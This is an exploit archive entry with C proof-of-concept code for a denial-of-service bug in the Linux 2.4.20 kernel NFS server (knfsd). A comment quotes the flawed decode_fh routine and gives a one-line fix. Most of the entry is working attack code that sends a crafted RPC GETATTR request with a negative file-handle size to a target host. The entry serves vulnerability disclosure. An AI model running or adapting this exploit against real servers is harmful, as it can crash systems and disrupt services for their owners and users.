Linux Kernel 2.4.20 - 'decode_fh' Denial of Service

/*
  Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS
  Author: jared stanbrough <jareds pdx edu> 
  
  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)

  static inline u32 *
  decode_fh(u32 *p, struct svc_fh *fhp)
  {
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;   

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
  }

  This code is called by quite a few XDR decoding routines. The below
  POC demonstrates the vulnerability by encoding a malicious fhsize
  at the beginning of a diroparg xdr argument. 
 
  To test this, the vulnerable host must have an accessible exported
  directory which was previously mounted by the attacker. _HOWEVER_ 
  it may be possible to trigger this bug by some other method.

  Fix: Simply change size to an unsigned int, or check for size < 0.
*/

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh) 
{
  int32_t werd = -1; 
  return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
  CLIENT * client;
  struct timeval tv;

  client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
  
  if(client == NULL) {
      perror("clnt_create\n");
  }

  tv.tv_sec = 3;
  tv.tv_usec = 0;
  client->cl_auth = authunix_create_default();

  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
            (xdrproc_t) xdr_void, NULL, tv);

  return 0;
}

// milw0rm.com [2003-07-29]